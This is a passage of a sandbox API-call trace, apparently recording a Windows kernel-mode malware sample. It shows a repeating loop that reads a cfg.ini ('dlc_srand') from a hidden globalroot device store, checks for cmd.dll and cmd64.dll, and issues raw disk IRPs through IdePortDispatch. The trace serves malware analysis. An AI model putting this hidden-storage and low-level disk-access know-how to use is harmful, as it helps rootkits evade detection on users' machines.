FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.050] ExFreePoolWithTag (P=0xfffffa8003aa63a0, Tag=0x0) [0118.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.050] KeLeaveCriticalRegion () [0118.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.050] ReleaseMutex (hMutex=0xf0) returned 1 [0118.050] Sleep (dwMilliseconds=0x124f80) [0118.061] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.061] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.062] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.062] KeEnterCriticalRegion () [0118.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.062] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.062] IdePortDispatch () returned 0x103 [0118.062] KeWaitForMutexObject () returned 0x0 [0118.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.062] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.062] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.062] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.062] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.062] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa63a0 [0118.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.062] KeLeaveCriticalRegion () [0118.062] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.062] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.062] KeEnterCriticalRegion () [0118.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.062] KeLeaveCriticalRegion () [0118.062] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.062] KeEnterCriticalRegion () [0118.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.063] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.063] IdePortDispatch () returned 0x103 [0118.063] KeWaitForMutexObject () returned 0x0 [0118.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.063] KeLeaveCriticalRegion () [0118.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.063] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.063] KeEnterCriticalRegion () [0118.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfe000 [0118.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.063] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.063] IdePortDispatch () returned 0x103 [0118.064] KeWaitForMutexObject () returned 0x0 [0118.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.064] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.064] IdePortDispatch () returned 0x103 [0118.064] KeWaitForMutexObject () returned 0x0 [0118.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.064] KeLeaveCriticalRegion () [0118.064] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.065] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.065] KeEnterCriticalRegion () [0118.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.065] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.065] KeLeaveCriticalRegion () [0118.065] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.065] KeEnterCriticalRegion () [0118.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.065] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.065] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.065] KeLeaveCriticalRegion () [0118.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.065] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.065] KeEnterCriticalRegion () [0118.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.065] ExFreePoolWithTag (P=0xfffffa8003aa63a0, Tag=0x0) [0118.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.065] KeLeaveCriticalRegion () [0118.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.065] ReleaseMutex (hMutex=0xf0) returned 1 [0118.065] Sleep (dwMilliseconds=0x124f80) [0118.084] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.084] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.084] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.084] KeEnterCriticalRegion () [0118.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.084] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.084] IdePortDispatch () returned 0x103 [0118.084] KeWaitForMutexObject () returned 0x0 [0118.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.084] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.084] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.084] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.084] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.084] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1420 [0118.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.084] KeLeaveCriticalRegion () [0118.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.084] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.084] KeEnterCriticalRegion () [0118.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.084] KeLeaveCriticalRegion () [0118.085] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.085] KeEnterCriticalRegion () [0118.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.085] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.085] IdePortDispatch () returned 0x103 [0118.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.086] KeLeaveCriticalRegion () [0118.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.086] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.086] KeEnterCriticalRegion () [0118.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c67000 [0118.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.086] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.086] IdePortDispatch () returned 0x103 [0118.086] KeWaitForMutexObject () returned 0x0 [0118.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.086] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.086] IdePortDispatch () returned 0x103 [0118.087] KeWaitForMutexObject () returned 0x0 [0118.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.087] KeLeaveCriticalRegion () [0118.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.087] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.087] KeEnterCriticalRegion () [0118.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.087] KeLeaveCriticalRegion () [0118.088] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.088] KeEnterCriticalRegion () [0118.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.088] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.088] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.088] KeLeaveCriticalRegion () [0118.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.088] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.088] KeEnterCriticalRegion () [0118.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.088] ExFreePoolWithTag (P=0xfffffa80039d1420, Tag=0x0) [0118.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.088] KeLeaveCriticalRegion () [0118.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.088] ReleaseMutex (hMutex=0xf0) returned 1 [0118.088] Sleep (dwMilliseconds=0x124f80) [0118.106] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.106] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.106] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.106] KeEnterCriticalRegion () [0118.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.107] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.107] IdePortDispatch () returned 0x103 [0118.107] KeWaitForMutexObject () returned 0x0 [0118.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.107] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.107] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.107] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.107] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.107] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0118.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.107] KeLeaveCriticalRegion () [0118.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.107] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.107] KeEnterCriticalRegion () [0118.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.107] KeLeaveCriticalRegion () [0118.107] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.107] KeEnterCriticalRegion () [0118.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.107] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.107] IdePortDispatch () returned 0x103 [0118.108] KeWaitForMutexObject () returned 0x0 [0118.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.108] KeLeaveCriticalRegion () [0118.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.108] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.108] KeEnterCriticalRegion () [0118.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.108] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6c000 [0118.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.108] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.108] IdePortDispatch () returned 0x103 [0118.108] KeWaitForMutexObject () returned 0x0 [0118.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.109] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.109] IdePortDispatch () returned 0x103 [0118.109] KeWaitForMutexObject () returned 0x0 [0118.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.109] KeLeaveCriticalRegion () [0118.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.109] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.109] KeEnterCriticalRegion () [0118.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.110] KeLeaveCriticalRegion () [0118.110] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.110] KeEnterCriticalRegion () [0118.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.110] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.110] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.110] KeLeaveCriticalRegion () [0118.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.110] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.110] KeEnterCriticalRegion () [0118.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.110] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0118.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.110] KeLeaveCriticalRegion () [0118.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.110] ReleaseMutex (hMutex=0xf0) returned 1 [0118.110] Sleep (dwMilliseconds=0x124f80) [0118.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.129] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.129] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.129] KeEnterCriticalRegion () [0118.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.129] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.129] IdePortDispatch () returned 0x103 [0118.129] KeWaitForMutexObject () returned 0x0 [0118.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.129] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.129] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.129] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.129] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.129] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d2e10 [0118.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.129] KeLeaveCriticalRegion () [0118.129] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.129] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.129] KeEnterCriticalRegion () [0118.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 